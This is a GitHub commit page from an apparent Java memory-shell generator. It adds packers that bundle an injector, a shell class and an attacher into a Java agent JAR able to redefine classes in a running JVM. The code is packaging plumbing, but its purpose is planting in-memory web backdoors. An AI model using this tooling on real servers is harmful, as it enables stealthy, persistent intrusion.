Skip to content

Commit b12c808

Browse files
committed
feat: support AgentAttacher Packer
1 parent 9ca693e commit b12c808

File tree

24 files changed

+8361
-11
lines changed

24 files changed

+8361
-11
lines changed

generator/build.gradle

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -39,6 +39,9 @@ dependencies {
3939
implementation 'net.bytebuddy:byte-buddy'
4040
implementation 'org.ow2.asm:asm-commons'
4141

42+
implementation 'net.java.dev.jna:jna'
43+
implementation 'net.java.dev.jna:jna-platform'
44+
4245
implementation 'javax.servlet:javax.servlet-api'
4346
implementation 'javax.websocket:javax.websocket-api'
4447

generator/src/main/java/com/reajason/javaweb/memshell/Packers.java

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,8 @@
1919
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
2020
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
2121
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
22+
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJDKAttacherPacker;
23+
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
2224
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
2325
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
2426
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
@@ -121,6 +123,8 @@ public enum Packers {
121123
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
122124

123125
AgentJar(new AgentJarPacker()),
126+
AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
127+
AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
124128

125129
XxlJob(new XxlJobPacker()),
126130
;
Lines changed: 189 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,189 @@
1+
package com.reajason.javaweb.memshell.packer.jar;
2+
3+
import com.reajason.javaweb.asm.ClassRenameUtils;
4+
import com.reajason.javaweb.memshell.config.GenerateResult;
5+
import com.reajason.javaweb.memshell.packer.jar.attach.Attacher;
6+
import com.reajason.javaweb.memshell.packer.jar.attach.VirtualMachine;
7+
import com.reajason.javaweb.memshell.utils.CommonUtil;
8+
import lombok.SneakyThrows;
9+
import org.apache.commons.io.IOUtils;
10+
import org.apache.commons.lang3.StringUtils;
11+
import org.objectweb.asm.Opcodes;
12+
13+
import java.io.ByteArrayOutputStream;
14+
import java.io.File;
15+
import java.io.FileOutputStream;
16+
import java.io.InputStream;
17+
import java.net.URL;
18+
import java.nio.file.Files;
19+
import java.nio.file.Path;
20+
import java.util.Enumeration;
21+
import java.util.HashMap;
22+
import java.util.Map;
23+
import java.util.jar.*;
24+
25+
/**
26+
* @author ReaJason
27+
* @since 2025/1/1
28+
*/
29+
public class AgentJarWithJDKAttacherPacker implements JarPacker {
30+
private static Path tempBootPath;
31+
32+
@Override
33+
@SneakyThrows
34+
public byte[] packBytes(GenerateResult generateResult) {
35+
String packageName = CommonUtil.getPackageName(generateResult.getInjectorClassName());
36+
String mainClassName = packageName + "." + Attacher.class.getSimpleName();
37+
Manifest manifest = createManifest(generateResult.getInjectorClassName(), mainClassName);
38+
String relocatePrefix = "shade/";
39+
40+
Map<String, byte[]> classes = new HashMap<>();
41+
Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
42+
Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
43+
classes.putAll(attacherClasses);
44+
classes.putAll(virtualMachineClasses);
45+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
46+
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
47+
addDependencies(targetJar, relocatePrefix);
48+
addClassesToJar(targetJar, generateResult, relocatePrefix);
49+
for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
50+
String className = entry.getKey();
51+
byte[] bytes = entry.getValue();
52+
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
53+
targetJar.write(bytes);
54+
targetJar.closeEntry();
55+
}
56+
}
57+
return outputStream.toByteArray();
58+
}
59+
60+
private Manifest createManifest(String agentClass, String mainClass) {
61+
Manifest manifest = new Manifest();
62+
Attributes attributes = manifest.getMainAttributes();
63+
attributes.putValue("Manifest-Version", "1.0");
64+
attributes.putValue("Agent-Class", agentClass);
65+
attributes.putValue("Premain-Class", agentClass);
66+
attributes.putValue("Main-Class", mainClass);
67+
attributes.putValue("Can-Redefine-Classes", "true");
68+
attributes.putValue("Can-Retransform-Classes", "true");
69+
return manifest;
70+
}
71+
72+
@SneakyThrows
73+
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
74+
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
75+
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
76+
}
77+
78+
@SneakyThrows
79+
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
80+
String dependencyPackage = Opcodes.class.getPackage().getName();
81+
// Add injector class
82+
addClassEntry(targetJar,
83+
generateResult.getInjectorClassName(),
84+
generateResult.getInjectorBytes(),
85+
dependencyPackage,
86+
relocatePrefix);
87+
88+
// Add shell class
89+
addClassEntry(targetJar,
90+
generateResult.getShellClassName(),
91+
generateResult.getShellBytes(),
92+
dependencyPackage,
93+
relocatePrefix);
94+
95+
// Add inner classes
96+
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
97+
addClassEntry(targetJar,
98+
entry.getKey(),
99+
entry.getValue(),
100+
dependencyPackage,
101+
relocatePrefix);
102+
}
103+
}
104+
105+
@SneakyThrows
106+
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
107+
String dependencyPackage, String relocatePrefix) {
108+
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
109+
byte[] processedBytes = ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage);
110+
targetJar.write(processedBytes);
111+
targetJar.closeEntry();
112+
}
113+
114+
@SneakyThrows
115+
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
116+
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
117+
String sourceUrlString = sourceUrl.toString();
118+
if (sourceUrlString.contains("!BOOT-INF")) {
119+
String path = sourceUrlString.substring("jar:nested:".length());
120+
path = path.substring(0, path.indexOf("!/"));
121+
String[] split = path.split("/!");
122+
String bootJarPath = split[0];
123+
String internalJarPath = split[1];
124+
if (tempBootPath == null) {
125+
tempBootPath = Files.createTempDirectory("mem-shell-boot");
126+
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
127+
}
128+
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
129+
}
130+
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
131+
Enumeration<JarEntry> entries = sourceJar.entries();
132+
while (entries.hasMoreElements()) {
133+
JarEntry entry = entries.nextElement();
134+
String entryName = entry.getName();
135+
if (entryName.equals("META-INF/MANIFEST.MF")
136+
|| entryName.contains("module-info.class")) {
137+
continue;
138+
}
139+
if (!entry.isDirectory()) {
140+
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
141+
byte[] bytes = IOUtils.toByteArray(entryStream);
142+
if (StringUtils.isNoneEmpty(relocatePrefix)) {
143+
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
144+
if (entryName.endsWith(".class")) {
145+
if (bytes.length > 0) {
146+
bytes = ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName);
147+
}
148+
} else {
149+
targetJar.putNextEntry(entry);
150+
}
151+
} else {
152+
targetJar.putNextEntry(entry);
153+
}
154+
targetJar.write(bytes);
155+
}
156+
}
157+
targetJar.closeEntry();
158+
}
159+
}
160+
}
161+
162+
/**
163+
* Extracts a JAR file to a temporary directory
164+
*
165+
* @param jarPath Path to the source JAR file
166+
* @param tempPath Path to the temporary directory
167+
*/
168+
@SneakyThrows
169+
public static void unzip(String jarPath, String tempPath) {
170+
try (JarFile jarFile = new JarFile(jarPath)) {
171+
Enumeration<JarEntry> entries = jarFile.entries();
172+
while (entries.hasMoreElements()) {
173+
JarEntry jarEntry = entries.nextElement();
174+
File targetFile = new File(tempPath, jarEntry.getName());
175+
176+
if (jarEntry.isDirectory()) {
177+
targetFile.mkdirs();
178+
continue;
179+
}
180+
181+
targetFile.getParentFile().mkdirs();
182+
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
183+
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
184+
IOUtils.copy(inputStream, outputStream);
185+
}
186+
}
187+
}
188+
}
189+
}

0 commit comments

Comments
 (0)